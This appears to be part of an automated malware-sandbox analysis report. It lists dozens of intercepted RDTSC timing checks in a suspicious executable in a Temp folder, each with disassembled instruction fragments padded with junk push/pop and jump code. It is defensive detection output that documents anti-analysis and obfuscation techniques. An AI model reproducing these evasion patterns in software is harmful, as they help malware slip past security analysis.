Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 342E62 second address: 342E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 341E64 second address: 341E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDCFD22A8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 341E80 second address: 341E86 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 341E86 second address: 341E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 341E8C second address: 341EAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 341EAD second address: 341EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 34231A second address: 34231F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 34231F second address: 34232C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 ja 00007F7FDCFD2296h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 341903 second address: 341907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 342633 second address: 34263F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F7FDCFD2296h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 34263F second address: 342650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7FDD3F186Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 342650 second address: 34267B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F7FDCFD229Bh 0x0000000b jmp 00007F7FDCFD22A8h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 342902 second address: 342906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 342906 second address: 34290A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3461F2 second address: 3461FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30F4E1 second address: 30F4E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30F4E5 second address: 30F4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30F4EB second address: 30F527 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F7FDCFD2296h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jns 00007F7FDCFD229Eh 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007F7FDCFD22A9h 0x00000021 jmp 00007F7FDCFD22A3h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30F527 second address: 30F571 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F7FDD3F1879h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ebx 0x0000000e jmp 00007F7FDD3F1876h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7FDD3F186Bh 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30F5F5 second address: 30F5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30F5F9 second address: 30F62A instructions: 0x00000000 rdtsc 0x00000002 je 00007F7FDD3F187Eh 0x00000008 jmp 00007F7FDD3F1878h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jl 00007F7FDD3F1872h 0x00000016 jc 00007F7FDD3F186Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30F6E7 second address: 30F6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30FDB1 second address: 30FDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30FDB5 second address: 30FDED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 0000001Eh 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F7FDCFD2298h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D2AB1h], edi 0x0000002c nop 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jne 00007F7FDCFD2296h 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30FDED second address: 30FDF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30FDF6 second address: 30FE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDCFD22A3h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3101EA second address: 31023B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7FDD3F1866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F7FDD3F186Ch 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F7FDD3F1868h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e lea eax, dword ptr [ebp+12483CC8h] 0x00000034 mov dword ptr [ebp+122DBB9Eh], eax 0x0000003a nop 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e jc 00007F7FDD3F1866h 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2F4885 second address: 2F488B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2F488B second address: 2F48AB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7FDD3F1866h 0x00000008 jmp 00007F7FDD3F1873h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3467CA second address: 3467CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3467CE second address: 3467D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 34693C second address: 346942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 346942 second address: 34695F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Fh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F7FDD3F186Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 34695F second address: 346963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 346963 second address: 34699A instructions: 0x00000000 rdtsc 0x00000002 js 00007F7FDD3F1868h 0x00000008 pushad 0x00000009 popad 0x0000000a jno 00007F7FDD3F1874h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jmp 00007F7FDD3F186Ch 0x00000018 jng 00007F7FDD3F186Eh 0x0000001e push edi 0x0000001f pop edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 346B23 second address: 346B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7FDCFD229Ch 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 346B33 second address: 346B38 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 346B38 second address: 346B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 34ACAC second address: 34ACB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 34F67C second address: 34F6A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDCFD229Ah 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F7FDCFD22A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 350497 second address: 3504A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 ja 00007F7FDD3F1868h 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 34EDDB second address: 34EE0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F7FDCFD22A4h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7FDCFD22A3h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 353BF6 second address: 353C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1870h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7FDD3F1875h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 353C23 second address: 353C38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 356BD7 second address: 356C15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7FDD3F186Ch 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F7FDD3F1877h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push edx 0x00000013 jmp 00007F7FDD3F1870h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3567E7 second address: 3567EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3567EB second address: 3567EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3597A5 second address: 3597AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7FDCFD2296h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3597AF second address: 3597B9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7FDD3F1866h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3597B9 second address: 3597C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3597C2 second address: 3597DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F7FDD3F186Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3597DA second address: 3597E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 359925 second address: 35992A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35992A second address: 359930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 359930 second address: 35993C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7FDD3F1866h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35993C second address: 359944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 359944 second address: 359952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 359952 second address: 359956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 359956 second address: 359980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7FDD3F1874h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35FBC7 second address: 35FBCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35FBCC second address: 35FBD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35FBD2 second address: 35FBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7FDCFD2296h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35FBDC second address: 35FC01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Ah 0x00000007 jnp 00007F7FDD3F1866h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jl 00007F7FDD3F1866h 0x00000016 push edx 0x00000017 pop edx 0x00000018 jns 00007F7FDD3F1866h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2C8D1E second address: 2C8D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDCFD22A5h 0x00000009 jg 00007F7FDCFD2296h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35F33F second address: 35F35D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F7FDD3F1878h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35F35D second address: 35F37E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7FDCFD22A7h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35F37E second address: 35F38F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F7FDD3F1872h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 35F8ED second address: 35F91E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7FDCFD22A7h 0x00000008 je 00007F7FDCFD2296h 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F7FDCFD229Bh 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 362D6C second address: 362D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 362D70 second address: 362D74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 362D74 second address: 362D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7FDD3F1879h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36308A second address: 36309B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007F7FDCFD2296h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36309B second address: 3630A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 369203 second address: 36920D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 367D8F second address: 367DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDD3F1874h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 367DAA second address: 367DAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 367DAF second address: 367DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36804F second address: 36806E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F7FDCFD22A7h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36806E second address: 368080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDD3F186Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 368080 second address: 368091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jl 00007F7FDCFD2296h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 368091 second address: 3680A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 ja 00007F7FDD3F1866h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3680A2 second address: 3680B6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7FDCFD229Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30FBA1 second address: 30FBCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDD3F186Dh 0x00000009 popad 0x0000000a jp 00007F7FDD3F1868h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7FDD3F186Dh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 368F1D second address: 368F42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F7FDCFD2296h 0x00000009 jmp 00007F7FDCFD22A3h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E6BC second address: 36E6C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E6C2 second address: 36E6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
